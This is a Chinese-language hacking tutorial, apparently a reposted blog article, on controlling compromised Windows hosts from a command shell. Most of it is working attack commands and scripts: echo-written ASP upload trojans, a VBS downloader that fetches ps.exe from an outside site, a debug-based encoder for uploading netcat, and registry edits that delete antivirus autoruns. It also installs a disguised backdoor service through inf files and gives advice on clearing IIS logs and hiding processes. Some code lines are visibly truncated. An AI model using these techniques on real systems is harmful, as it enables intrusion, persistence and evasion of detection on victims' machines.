Cmd模式下的入侵技術大全

Cmd Shell(命令行交互)是黑客永恆的話題,它歷史悠久並且長盛不衰。
  本文旨在介紹和總結一些在命令行下控制Windows系統的方法。這些方法都是儘可能地利用系統自帶的工具實現的。
  文件傳輸
  對於溢出漏洞獲得的cmd shell,最大的問題就是如何上傳文件。由於蠕蟲病毒流行,連接ipc$所需要的139或445端口被路由封鎖。再加上WinXP系統加強了對ipc$的保護,通過ipc$及默認共享上傳文件的手段基本無效了。ftp和tftp是兩種可行的方法,介於其已被大家熟知,本文就不介紹了。還有三種大家熟悉的辦法,作爲總結我再提一下:
  1,用Echo命令寫ASP木馬。
  前提當然是目標主機上已經安裝了IIS。
  一般的ASP木馬"體積"較大,不適合直接用echo命令寫入文件,這裏我提供一個小巧的。
  直接給出echo版:
  @echo ^ >up.asp
  注意,只有一行,中間沒有回車符。
  生成的up.asp不能用瀏覽器訪問,只能用下面這個腳本:
  with wscript
  if .arguments.count
  將其保存爲up.vbs。假設目標IP爲123.45.67.89,up.asp在IIS虛擬根目錄下,需要上傳的文件爲nc.exe,上傳後保存爲mm.exe,相應的命令是:
  cscript up.vbs http://123.45.67.89/up.asp   nc.exe mm.exe
  注意,這個命令是在本地命令行中執行的,不要弄錯了。另外,通過IIS上傳會留日誌,要記得清除哦。
  2,自動下載到網頁緩存中。
  例如:start its:http://www.sometips.com/soft/ps.exe
  在遠程shell中執行上面這個命令後,ps.exe已經下載到目標主機的網頁緩存目錄中了。然後:
  cd "C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5"
  dir /s ps[1].exe
  於是獲得ps.exe的具體位置(每臺主機都不一樣),如:
  C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\AB094JIT 的目錄
  2004-01-24 14:24 49,152 ps[1].exe
  1 個文件 49,152 字節
  最後:
  copy AB094JIT\ps[1].exe c:\path\ps.exe
  del AB094JIT\ps[1].exe
  補充說明:
  對於以服務爲啓動方式的後門所提供的shell,其用戶身份一般是System。此時網頁緩存目錄的位置就如例子中所示。如果shell的身份不是System,需要修改Default User爲相應的用戶名。
  本方法會啓動一個IE進程,記得要將它殺掉。如果是System身份的shell,不會在本地出現窗口而暴露。
  另外,用ms-its代替its效果完全一樣。
  3,Echo一個腳本下載web資源。
  現成的工具是iGet.vbs。我再給出一個含必要容錯功能的版本。
  仍然是echo版:
  @echo with wscript:if .arguments.count^ dl.vbs
  @echo set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") >> dl.vbs
  @echo web.open "get",.arguments(0),0:web.send:if web.status^>200 then .echo "Error:" web.status:.quit >> dl.vbs
  @echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with >> dl.vbs
  舉例--下載ps.exe並保存到c:\path下:
  cscript dl.vbs http://www.sometips.com/soft/ps.exe c:\path\ps.exe
  注意,這是在遠程shell中執行的。
  4,Echo經過編碼的任何文件,再用腳本 debug還原。
  前面兩個辦法都不能保證穿過防火牆。而且,除非自己架Web服務器,一般的Web資源都是以壓縮文件的形式提供。如果目標主機沒有解壓工具,還是沒轍。那麼只有出"殺手鐗"了!
  echo命令加重定向操作符可以寫入ASCII碼小於128的字符,但大於等於128的不行。只有將本地文件重新"編碼"爲可顯示的字符,才能方便地寫入遠程主機。首先能想到的就是base64編碼,即email附件的編碼方式。但vbs不支持位操作,因此編碼和解碼較複雜。更麻煩的是,腳本以二進制流方式處理文件的能力很差。(ADODB.Stream可以以流方式寫文件,但我無法構造出相應的數據類型。二進制數據流可以用midb函數轉成字符串,但反過來不行。我花了兩天時間,還是沒能解決這個問題。如果有誰能用vbs或js寫任意的字節數據到文件中,懇請賜教。)
  無奈只有請debug.exe出馬了。原理很多人都知道,我不介紹了,直接給出成果--編碼腳本:
  fp=wscript.arguments(0)
  fn=right(fp,len(fp)-instrrev(fp,"\"))
  with createobject("adodb.stream")
  .type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)
  end with
  sll=sl mod 65536:slh=sl\65536
  with createobject("scripting.filesystemobject").opentextfile(fp&".bat",2,true)
  .write "@echo str="""
  for i=1 to sl
  bt=ascb(midb(str,i,1))
  if bt>debug.vbs" vbcrlf "@echo """
  next
  .writeline """>>debug.vbs" vbcrlf "@echo with wscript.stdout:r=vbcrlf"_
  ":for i=1 to len(str) step 48:.write ""e"" hex(256 (i-1)/2)"_
  ":for j=i to i 46 step 2:.write "" "" mid(str,j,2):next:.write r:next>>debug.vbs"
  .writeline "@echo .write ""rbx"" r """ hex(slh) """ r ""rcx"" r """ hex(sll)_
  """ r ""n debug.tmp"" r ""w"" r ""q"" r:end with"_
  ">>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp """&fn&"""&del debug.vbs"
  end with
  將其保存爲echo.vbs。假設要上傳nc.exe,那麼在本地命令行輸入命令:
  cscript echo.vbs nc.exe
  也可以直接把要傳輸的文件的圖標拖放到腳本文件的圖標上。
  稍等一會兒,在當前目錄下將生成一個nc.exe.bat。用記事本等編輯工具打開它,可以看到如下內容:
  @echo str="4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000"_>>debug.vbs
  @echo "504500004C010400B98EAE340000000000000000E0000F010B010500009800000062000000000000004C00000010000000B0000000004000001000000002000004000000000000000400000000000000003001000004000000000000030000000000100000100000000010000010000000000000100000000000000000000000"_>>debug.vbs
  @echo "002001003C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A0210100640100000000000000000000000000000000000000000000000000002E74657874000000"_>>debug.vbs
  @echo "70970000001000000098000000040000000000000000000000000000200000602E726461746100001704000000B0000000060000009C0000000000000
000000000000000400000402E646174610000004452000000C00000003E000000A20000000000000000000000000000400000C02E696461746100005C07000000200100"_>>debug.vbs
  ............
  ............(省略若干行)
  ............
  @echo "">>debug.vbs
  @echo with wscript.stdout:r=vbcrlf:for i=1 to len(str) step 48:.write "e" hex(256 (i-1)/2):for j=i to i 46 step 2:.write " " mid(str,j,2):next:.write r:next>>debug.vbs
  @echo .write "rbx" r "0" r "rcx" r "E800" r "n debug.tmp" r "w" r "q" r:end with>>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp "NC.EXE"&del debug.vbs
  全選 -》 複製 -》 切換到遠程命令行窗口 -》 粘貼。
  如果網速不是很慢的話,整個上傳過程大約需要20秒。
  幾點說明:
  1,大的文件傳輸不穩定,可能會使shell死掉。所以文件越小效果越好。建議原文件不要超過100KB。
  2,在傳輸大文件前,可以先傳個小的文件作爲"熱身",讓16位虛擬機ntvdm.exe駐留後臺。所有文件傳完後,爲隱蔽起見,應該把ntvdm進程殺掉。
  3,某些cmd shell每個命令都需要附加兩個回車,那nc.exe.bat就不能直接用了。
  4,單個命令的長度是有限的,所以不能只用一個echo完成全部任務。而且,對於nc提供的cmd shell,稍長一些的命令竟然會使shell自動退出(溢出了?)。你可以修改"i mod 128=0"語句中的128以調整每個echo命令的長度。每次echo的字符爲這個數乘以2。
  5,解碼過程沒有腳本參與也是可以的。使用腳本的目的是減少傳輸的數據量(因爲壓縮了數據)。如果有時間,我會寫一個更完善的腳本,加強數據壓縮能力,增加數據校驗功能。
  能上傳文件當然一切都好辦了,但很多操作用Windows自帶的工具更方便。在你到處尋找需要的工具時,不要忘了Windows本身。
  系統配置
  這節包括三方面內容:註冊表、服務和組策略。
  先說註冊表。很多命令行下訪問註冊表的工具都是交互式的,溢出產生的shell一般不能再次重定向輸入/輸出流,所以無法使用。
  好在系統自帶的regedit.exe足夠用了。
  1,讀取註冊表
  先將想查詢的註冊表項導出,再用type查看,比如:
  C:\>regedit /e 1.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
  C:\>type 1.reg | find "PortNumber"
  "PortNumber"=dword:00000d3d
  C:\>del 1.reg
  所以終端服務的端口是3389(十六進制d3d)
  2,修改/刪除註冊表項
  先echo一個reg文件,然後導入,比如:
  echo Windows Registry Editor Version 5.00 >1.reg
  echo. >>1.reg
  echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0] >>1.reg
  echo "TelnetPort"=dword:00000913 >>1.reg
  echo "NTLM"=dword:00000001 >>1.reg
  echo. >>1.reg
  regedit /s 1.reg
  將telnet服務端口改爲2323(十六進制913),NTLM認證方式爲1。
  要刪除一個項,在名字前面加減號,比如:
  [-HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Serv-U]
  要刪除一個值,在等號後面用減號,比如:
  [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
  "KAVRun"=-
  3,用inf文件訪問註冊表
  上面對註冊表的三個操作,也可以用下面這個inf文件來實現:
  [Version]
  Signature="$WINDOWS NT$"
  [DefaultInstall]
  AddReg=My_AddReg_Name
  DelReg=My_DelReg_Name
  [My_AddReg_Name]
  HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,TelnetPort,0x00010001,2323
  HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,NTLM,0x00010001,1
  [My_DelReg_Name]
  HKLM,SYSTEM\CurrentControlSet\Services\Serv-U
  HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,KAVRun
  將它寫入c:\path\reg.inf然後用下面這個命令"安裝":
  rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\reg.inf
  幾點說明:
  1,[Version]和[DefaultInstall]是必須的,AddReg和DelReg至少要有一個。My_AddReg_Name和My_DelReg_Name可以自定義。
  0x00010001表示REG_DWORD數據類型,0x00000000或省略該項(保留逗號)表示REG_SZ(字符串)。0x00020000表示REG_EXPAND_SZ。
  2323也可以用0x913代替。
  關於inf文件的詳細信息,可以參考DDK幫助文檔。
  2,InstallHinfSection是大小寫敏感的。它和setupapi之間只有一個逗號,沒有空格。
  128表示給定路徑,該參數其他取值及含義參見MSDN。
  特別注意,最後一個參數,必須是inf文件的全路徑,不要用相對路徑。
  3,inf文件中的項目都是大小寫不敏感的。
  接下來說服務。如果想啓動或停止服務,用net命令就可以。但想增加或刪除服務,需要用SC,instsrv.exe,xnet.exe等工具。而這些工具系統沒有自帶(XP和2003自帶SC)。導入註冊表雖然可以,但效果不好,原因後面會提到。還是得靠inf文件出馬。
  增加一個服務:
  [Version]
  Si
  gnature="$WINDOWS NT$"
  [DefaultInstall.Services]
  AddService=inetsvr,,My_AddService_Name
  [My_AddService_Name]
  DisplayName=Windows Internet Service
  Description=提供對 Internet 信息服務管理的支持。
  ServiceType=0x10
  StartType=2
  ErrorControl=0
  ServiceBinary= %\inetsvr.exe
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章